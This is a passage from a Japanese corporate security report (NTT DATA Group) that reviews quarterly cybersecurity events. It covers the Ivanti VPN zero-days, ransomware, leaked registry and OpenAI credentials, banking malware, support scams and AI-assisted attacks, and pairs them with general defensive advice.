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※1 IvantiのVPN製品の脆弱性 

2023年度第4四半期、Ivanti社はIvanti Connect SecureおよびIvanti Policy Secure

の度重なる脆弱性報告を行いました。同製品の脆弱性を狙ったサイバー攻撃が世

界中で発生し、同製品を使用している複数のシステムで大きな被害がありました。

特に2024年1月10日に公表した認証バイパス(CVE-2023-46805)とコマンドインジ

ェクション(CVE-2024-21887)の脆弱性は、脆弱性情報の公表時点でパッチが提供

されていないゼロデイ脆弱性であり、同年1月16日に本脆弱性を実証するPoCコー

ドの公開以降、広範な攻撃被害がありました。本脆弱性はCISAが緊急指令を発行

するなど、世間的に注目を集める脆弱性となりました。実際にMITRE社は2024年

4月にこの2つの脆弱性を組み合わせたサイバー攻撃によって同社のシステムへ不

正侵入を受けたことを公表しました。 

 

※2 ランサムウェアによる被害 

依然としてランサムウェアの被害が高止まりしています。多様なランサムウェ

アグループによる攻撃を確認しましたが、国内では、ノーウェアランサムの被害

報告が複数確認されています。LockBitによる被害件数は、Operation Cronosによ

るテイクダウンによって減少傾向であるものの、217件と依然としてトップの件

数でした。ランサムウェアの攻撃で被害がおきないように、セキュリティ対策し

ましょう。また被害が生じてしまった場合に備えて、事前に対処方法を計画して

おきましょう。 

 

 

 

 

※3 RIPE、APNIC、AFRINIC、LACNIC顧客認証情報

がダークウェブ上で漏洩 

Resecurity社は、RIPEやAPNIC、AFRINIC、LACNICといったインターネットアド

レスリソースを地域ごとに管理・割り当てする地域インターネットレジストリ 

(Regional Internet Registry: RIR) の顧客認証情報が、InfoStealerによってダークウ

ェブ上に漏えいしていることを発見しました。このような重要インフラを標的と

したサイバー攻撃による情報漏えいは、一般企業に対するさらなるサイバー攻撃

へ発展するおそれがあります。それによって、サービスの中断やエンドユーザの

情報流出といった重大な事案へと繋がるおそれがあります。 

 

※4 AIフレームワーク「Ray」やOpenAIを標的とし

た攻撃被害 

生成AIの基盤を狙ったサイバー攻撃事案も発生しました。オープンソースのAI

フレームワークであるRayの脆弱性を悪用したサイバー攻撃や、OpenAIへアクセ

スするユーザのID/パスワードといった認証情報のInfoStealerによる漏えいが発生

しました。特に2023年のOpenAIのユーザの認証情報の漏えいは、2021年の約3,800

件、2022年の約20,000件から急増し、約66.4万件が確認されています。昨今、AI

モデルは企業のデータベース等の様々な資産に接続されるようになっており、AI

インフラストラクチャの侵害は重大な事案となるおそれがあります。また、ユー

ザの認証情報の漏えいは、不正なリソースの利用や、個人情報や機密情報の漏え

いに繋がる可能性があり、APIキーの定期的なローテーションやMFAの設定とい

った対策が必要です。 
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8. タイムライン FY2024_1Q 

NTTデータグループ C&I技術部 情報セキュリティ推進室 田中 稜太郎 

 

2024 年度第 1 四半期には、2023 年度第 4 四半期のような特定の製品で脆弱

性が多発する傾向はありませんでした。ただし、依然として、SolarWinds や

MOVEit など、脆弱性やサイバー攻撃でニュースになったことがある複数製品で 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

脆弱性の報告がありました。どちらの製品も過去に大きな被害が発生している

ため、脆弱性情報を確認して、リスクが大きい場合は、すぐに対応しましょ

う。 

また脆弱性以外のカテゴリでは、バンキング型マルウェアやサポート詐欺の被

害、AI を用いたサイバー攻撃やその対策のニュースが、これまでの四半期のタ

イムラインよりも多く見つかりました。今後、AI 関連のセキュリティ事象が増

えていくと予想します。注目していきましょう。 
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※1 バンキング型マルウェア 

インターネットバンキングの利用者を狙って個人情報や認証情報を盗むバンキ

ング型マルウェアに関するトピックが、過去と比べて増加しています。[C]マルウ

ェアのタイムラインに掲載したバンキング型マルウェア3種、Grandoreiro、Anatsa、

SoumniBotは、いずれも世界中の銀行および銀行のオンラインアプリを標的とし

ています。バンキング型マルウェアの配布方法も巧妙化しています。例えばAnatsa

では、「PDF Reader & File Manager」「QR Reader & File Manager」といったおと

りとなるアプリケーションにマルウェア配布機能を密かに実装しています。この

ようなマルウェアに対しては、セキュリティソフトを活用して早期検知したり、

実行を防いだりすることはもちろん重要ですが、そもそも、おとりアプリケーシ

ョンをダウンロードしないことを先がけるべきです。アプリをダウンロードする

際には、開発元が信頼できること、そして正規のマーケットからリリースされて

いることを確認するよう心がけましょう。 

 

※2 サポート詐欺 

サポート詐欺被害が増大しています。本タイムラインに掲載した事例は、ほん

の一部であり、IPAによれば2024年4月のサポート詐欺相談件数は過去最高の828

件に上っています [65]。被害増大の背景には、サポート詐欺の手口の進化があり、

最近では、検索サービスの検索結果に実在するブランドそっくりの広告が出て、

それをクリックしてしまい、偽警告が現れてだまされてしまう被害者が増えてい

ます。企業でセキュリティソフトを導入していても、サポート詐欺の偽警告の表

示を止めることはできません。また、本タイムラインに掲載した富田林病院や高

齢・障害・求職者雇用支援機構の事例のように、個人用のPCから被害にあう場合

もあるため、偽警告の存在を周知・注意喚起し、各ユーザが適切な知識を持って

だまされないようにすることで対策していきましょう。 

※3 AI関連 

AI技術の発展により、さまざまな分野へのAIの導入が進んでいますが、セキュ

リティ分野も例外ではありません。2024年度1Qは、過去と比較してAI技術関連の

トピックがたくさんありました。AI技術の悪用事例の多いフィッシングメールや

音声詐欺への悪用の他にも、DDoSマルウェアの作成など、AI技術を悪用したさま

ざまなサイバー攻撃が生まれています。今後も攻撃者は、AI技術を多岐にわたっ

て悪用すると予想します。一方で、行政機関からAI技術のセキュリティに関する

ガイドラインの提示や、企業からAI技術を用いた新たなセキュリティサービス・

機能の提供のニュースもありました。AI技術を利用したセキュリティ対策も着実

に増えています。今後もAI技術関連のセキュリティ事象が増えていくと予想しま

す。注目していきましょう。 
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